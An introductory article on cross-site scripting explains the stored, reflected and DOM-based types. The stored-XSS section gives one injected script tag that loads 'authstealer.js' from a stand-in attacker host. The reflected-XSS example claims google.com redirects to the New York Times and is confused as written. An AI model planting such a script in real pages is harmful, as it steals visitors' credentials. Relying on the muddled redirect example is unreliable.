Cross Site Scripting (XSS)
Imagine someone standing behind you watching you read this. A successful cross site scriping (XSS) attack on you can bring this imagination to reality.
In a world full of uncertainties and data increasingly becoming the new oil, we are often worried about who is accessing our data, how much access does that entity have to our data etc. Chances are that one entity may have certain set of information about you which is not the same as information which some other entity holds.
There are several ways to stay anonymous on the web. You may disable personalization settings on certain websites, some also provide you with privacy control settings. If nothing else works there is always the ultimate solution of using a Virtual Private Network (VPN). These solutions can be classified as medium based or destination based.
An XSS attack is when the attacker injects malicious code in a vulnerable web application. It differs from other web based attacks in a way that its main target is not the application itself. It indirectly affects the users of the web application.
Classification of XSS attacks
The XSS attacks can broadly be classified into three types.
Stored XSS attacks
If there is a possibility to embed raw HTML in a web page of a web application, the attacker uses this vulnerability to store his malicious code into the application. This malicious code consequently becomes a permanent feature of the respective web page and anyone visiting the web page thereafter gets affected by it.
For example, if there exists an unescaped and unmoderated comments section on a page and the attacker posts a comment similar to:
<script src=”http://hackersite.com/authstealer.js”> </script>
The comment stays on the web page and whenever the page is opened, the script authstealer.js is always loaded and executed by the browser
Reflected XSS attacks
Reflected XSS attacks involve tempting a user to click on a malicious link which appears to be of a genuine known web application. The attacker either creates a hyperlink text linking to some malicious website or appends a malicious code to the end of the link which is to be executed as soon as the user clicks.
This link may take the user to a custom page built by the attacker which echoes a script. The script is executed on the browser and then the user may or may not be redirected to the genuine application.
For example, https://www.google.com should take the user to Google’s homepage but instead it redirects to the homepage of the New York Times. Between clicking on the link and redirecting to the New York Times’ page, a user may insert another redirection through his custom page which executes a malicious script on the browser.
DOM based XSS attacks
DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
In contrast to stored or reflected types of XSS attacks, DOM based attacks are tough to execute and even more difficult to detect. The detection becomes tough as there is and cannot be a server-side validation. The malicious code is absolutely client based and there is no communication between the server and the client regarding this.